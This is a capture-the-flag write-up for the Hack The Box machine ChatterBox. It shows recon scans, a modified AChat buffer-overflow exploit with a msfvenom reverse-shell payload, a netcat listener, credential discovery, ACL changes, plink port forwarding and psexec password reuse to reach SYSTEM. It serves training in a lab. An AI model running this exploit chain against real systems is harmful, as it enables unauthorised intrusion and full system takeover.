Hack The Box - ChatterBox (Without Metasploit)
Configuration
The operating system that I will be using to tackle this machine is a Kali Linux VM.
What I learnt from other writeups is that it was a good habit to map a domain name to the machine’s IP address so as that it will be easier to remember. This can done by appending a line to /etc/hosts
.
1
$ echo "10.10.10.74 chatterbox.htb" | sudo tee -a /etc/hosts
Reconnaissance
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
$ rustscan --accessible -a chatterbox.htb -r 1-65535 -- -sT -sV -sC -Pn
File limit higher than batch size. Can increase speed by increasing batch size '-b 1048476'.
Open 10.10.10.74:9255
Open 10.10.10.74:9256
Starting Script(s)
Script to be run Some("nmap -vvv -p ")
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-23 05:45 UTC
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 05:45
Completed NSE at 05:45, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 05:45
Completed NSE at 05:45, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 05:45
Completed NSE at 05:45, 0.00s elapsed
Initiating Connect Scan at 05:45
Scanning chatterbox.htb (10.10.10.74) [2 ports]
Discovered open port 9256/tcp on 10.10.10.74
Discovered open port 9255/tcp on 10.10.10.74
Completed Connect Scan at 05:45, 0.01s elapsed (2 total ports)
Initiating Service scan at 05:45
Scanning 2 services on chatterbox.htb (10.10.10.74)
Completed Service scan at 05:45, 6.04s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.10.74.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 05:45
Completed NSE at 05:45, 0.33s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 05:45
Completed NSE at 05:45, 0.04s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 05:45
Completed NSE at 05:45, 0.00s elapsed
Nmap scan report for chatterbox.htb (10.10.10.74)
Host is up, received user-set (0.0092s latency).
Scanned at 2021-01-23 05:45:47 UTC for 6s
PORT STATE SERVICE REASON VERSION
9255/tcp open http syn-ack AChat chat system httpd
|_http-favicon: Unknown favicon MD5: 0B6115FAE5429FEB9A494BEE6B18ABBE
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: AChat
|_http-title: Site doesn't have a title.
9256/tcp open achat syn-ack AChat chat system
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 05:45
Completed NSE at 05:45, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 05:45
Completed NSE at 05:45, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 05:45
Completed NSE at 05:45, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.78 seconds
Enumeration (1)
Port 9255 AChat chat system httpd
It seemed like a web server was running on this port, but I was not able to visit any pages. Using searchsploit
, we found out that AChat
had a remote buffer overflow vulnerability that we can exploit.
1
2
3
4
5
6
$ searchsploit Achat
--------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------- ---------------------------------
Achat 0.150 beta7 - Remote Buffer Overflow | windows/remote/36025.py
Achat 0.150 beta7 - Remote Buffer Overflow (Metasploit) | windows/remote/36056.rb
Exploitation (1)
After copying the script, I modified the script to contain the IP address of the machine.
1
2
3
# Create a UDP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_address = ('10.10.10.74', 9256)
I also generated a payload using msfvenom
:
1
2
3
4
5
6
7
8
9
10
11
$ msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=10.10.14.30 LPORT=1337 -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/unicode_mixed
x86/unicode_mixed succeeded with size 774 (iteration=0)
x86/unicode_mixed chosen with final size 774
Payload size: 774 bytes
Final size of python file: 3767 bytes
buf = b""
buf += b"\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49"
buf += b"\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41"
...
And replace the payload in the script with the payload that msfvenom
generated. I then started my nc
listener:
1
2
$ rlwrap nc -lvnp 1337
listening on [any] 1337 ...
And executed the script:
1
2
$ python 36025.py
---->{P00F}!
On our listener, we get a shell as alfred
.
1
2
3
4
5
6
7
8
9
10
11
$ rlwrap nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.XX.XX] from (UNKNOWN) [10.10.10.74] 49157
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
whoami
whoami
chatterbox\alfred
C:\Windows\system32>
user.txt
The user flag is in alfred
’s Desktop.
1
2
3
4
type user.txt
32d8XXXXXXXXXXXXXXXXXXXXXXXXXXXX
C:\Users\Alfred\Desktop>
Enumeration (2)
After transferring winpeasany.exe
over from my machine, we see some interesting things.
1
2
3
4
5
6
7
8
9
10
11
C:\temp> winpeasany.exe
...
[+] Looking for AutoLogon credentials
Some AutoLogon credentials were found!!
DefaultUserName : Alfred
DefaultPassword : Welcome1!
[+] Home folders found
C:\Users\Administrator : Alfred [AllAccess]
C:\Users\Alfred : Alfred [AllAccess]
...
Full Access on Administrator
’s Desktop
Thats weird, we see that Alfred
has AllAccess
on Administrator
’s home folder!. Digging deeper we see that Alfred
also has FullAccess
on Administrator
’s Desktop.
1
2
3
4
5
6
C:\Users\Administrator\Desktop>icacls C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop Everyone:(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
CHATTERBOX\Administrator:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
CHATTERBOX\Alfred:(I)(OI)(CI)(F)
This means we could add Read
Access to all files on the Desktop, including root.txt
and be able to read the flag!
1
2
3
4
5
icacls C:\Users\Administrator\Desktop /grant "Alfred":F /t
processed file: .
processed file: .\desktop.ini
processed file: .\root.txt
Successfully processed 3 files; Failed processing 0 files
Password Reuse
After uploading a plink.exe
, we can perform port forwarding and be able to reach the port 445
which is only available via localhost
.
1
C:\temp\plink.exe -l root -pw root 10.10.XX.XX -R 445:127.0.0.1:445 -P 2222
Then from our machine, we can use psexec
and specify the Administrator
username along with the password of Alfred
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ psexec.py "Administrator:Welcome1\!@127.0.0.1"
Impacket v0.9.23.dev1+20201209.133255.ac307704 - Copyright 2020 SecureAuth Corporation
[*] Requesting shares on 127.0.0.1.....
[*] Found writable share ADMIN$
[*] Uploading file AYnhrfTP.exe
[*] Opening SVCManager on 127.0.0.1.....
[*] Creating service OMxU on 127.0.0.1.....
[*] Starting service OMxU.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
We got a shell as SYSTEM
!
root.txt
The root flag is in Administrator
’s Desktop.
1
2
3
type root.txt
56e9XXXXXXXXXXXXXXXXXXXXXXXXXXXX
C:\Users\Administrator\Desktop>